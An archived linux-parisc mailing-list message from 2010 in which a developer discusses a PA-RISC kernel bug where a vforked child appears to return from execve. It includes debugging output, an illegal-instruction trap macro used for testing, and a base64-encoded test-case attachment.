Cc: Helge Deller <deller@gmx.de>, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 28 19:26:50 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1NvwG8-00077l-Ju
	for glpp-linux-parisc@lo.gmane.org; Sun, 28 Mar 2010 19:26:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754819Ab0C1R0s (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 28 Mar 2010 13:26:48 -0400
Original-Received: from mail-ww0-f46.google.com ([74.125.82.46]:48405 "EHLO
	mail-ww0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754569Ab0C1R0r (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 28 Mar 2010 13:26:47 -0400
Original-Received: by wwe15 with SMTP id 15so7773526wwe.19
        for <linux-parisc@vger.kernel.org>; Sun, 28 Mar 2010 10:26:45 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:received:message-id:subject
         :from:to:cc:content-type;
        bh=+G6uMC4lkl/iBTZWZrahQanOMUVzCdjUYB1ltZJzI+8=;
        b=RFuYVhvBxWJbHm1U3e3rD/EHiIeJtkRQOaoHyFyfazW3uASAPSo08gThlCkYd28ozK
         ZcXlI4SoWejwE/NgKRkJL2KkpCwEJd7T+aWac4jSlDBBxg7e4qqRbDkJEQ6FM3tVl7oA
         r3uk03VofuLAL/yrCYU3t29cALkn7DM/TtDv0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=GMqOMOpcv3gNrRIr8bxjlvyXmzasJp/5BmEDFKspBbRM+7GYcDqWLWA9kDnwpUowd1
         Lf8socYAWU2fdxvuEFyRKQ0InuXbeSfVA6GJ+elHK5mV8PKIGRtUu4oFnhFQVsR+LSTG
         paGeRs3lbljuV1stmoYlgSVLMlcIgtIFbvang=
Original-Received: by 10.216.35.78 with HTTP; Sun, 28 Mar 2010 10:26:45 -0700 (PDT)
In-Reply-To: <20100328154241.GA2782@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 476fa3de7865ef17
Original-Received: by 10.216.87.79 with SMTP id x57mr2378959wee.83.1269797205190; Sun, 
	28 Mar 2010 10:26:45 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2715
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2715>

--0016e6d7dfa75a289d0482dfb388
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

On Sun, Mar 28, 2010 at 11:42 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Test case attached.
>
> I was not able to save your pt-fork.S file. =A0 mutt didn't understand
> the encoding.

Attached as vforktest.tgz.

> I tried the vfork.c test case on my c3750 with 32-bit kernel. =A0It
> didn't segv in a limited number of runs. =A0However, I did notice that
> getpid() is broken after vfork().

Broken how?

A small note about getpid():

Since the parent and child share the same memory space, the parent
temporarily negates the cached PID value just before the vfork. Only
the parent, after the vfork, restores the cached PID. This is on
purpose to prevent any functions like PID-related functions from
working in the child() during the window bewteen vfork and execve.

> The printf call in the child path probably isn't legit. =A0It's also not
> legit to simply return if execve fails. =A0_exit must be called.

The printf call in the child path is ABSOLUTELY wrong, but I wanted to
see what the return was. You could equally well insert:

#define ABORT_INSTRUCTION asm ("iitlbp %r0,(%sr0, %r0)")

And cause the child to abort with an invalid instruction trap, and
inspect r28 at the time of the fault to see what execve returned.

In fact I use this in my testing now to avoid printf.

> My guess would be that the parent is not blocked leading to corruption.

What I see is that the child is returning from the kernel execve, and
continuing to execute.

If I use ABORT_INSTRUCTION in the child right after the execve I see this:

carlos@firin:~/fsrc/vforkfailure/test$ ./vfork
Illegal instruction
carlos@firin:~/fsrc/vforkfailure/test$ In child 28734

This makes *no* sense.

What I don't understand is this:

* vfork'd child shares memory space with parent, therefore space id
has to be the same?
* Does execve give the process a new space id or does it simply
overwrite the entire process image?

So I had the test case try to exec a binary that just calls ABORT_INSTRUCTI=
ON.

What I noticed is the following:

carlos@firin:~/fsrc/vforkfailure/test$ ./vfork
parent sr3 is 0x3428000
Illegal instruction

There are 2 entries in dmesg:
vfork (pid 28964): Illegal instruction (code 8) at 00000000000106a7
main (pid 28965): Illegal instruction (code 8) at 00000000000104af

* The child returning from execve has the same space id as the parent
e.g. 0x3418000
* The process run via the execve has a different space id e.g. 0x3418800

What is supposed to stop the child, which called execve, from
returning to the parent?

Cheers,
Carlos.

--0016e6d7dfa75a289d0482dfb388
Content-Type: application/x-gzip; name="vforktest.tgz"
Content-Disposition: attachment; filename="vforktest.tgz"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_g7c1n9pr0

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
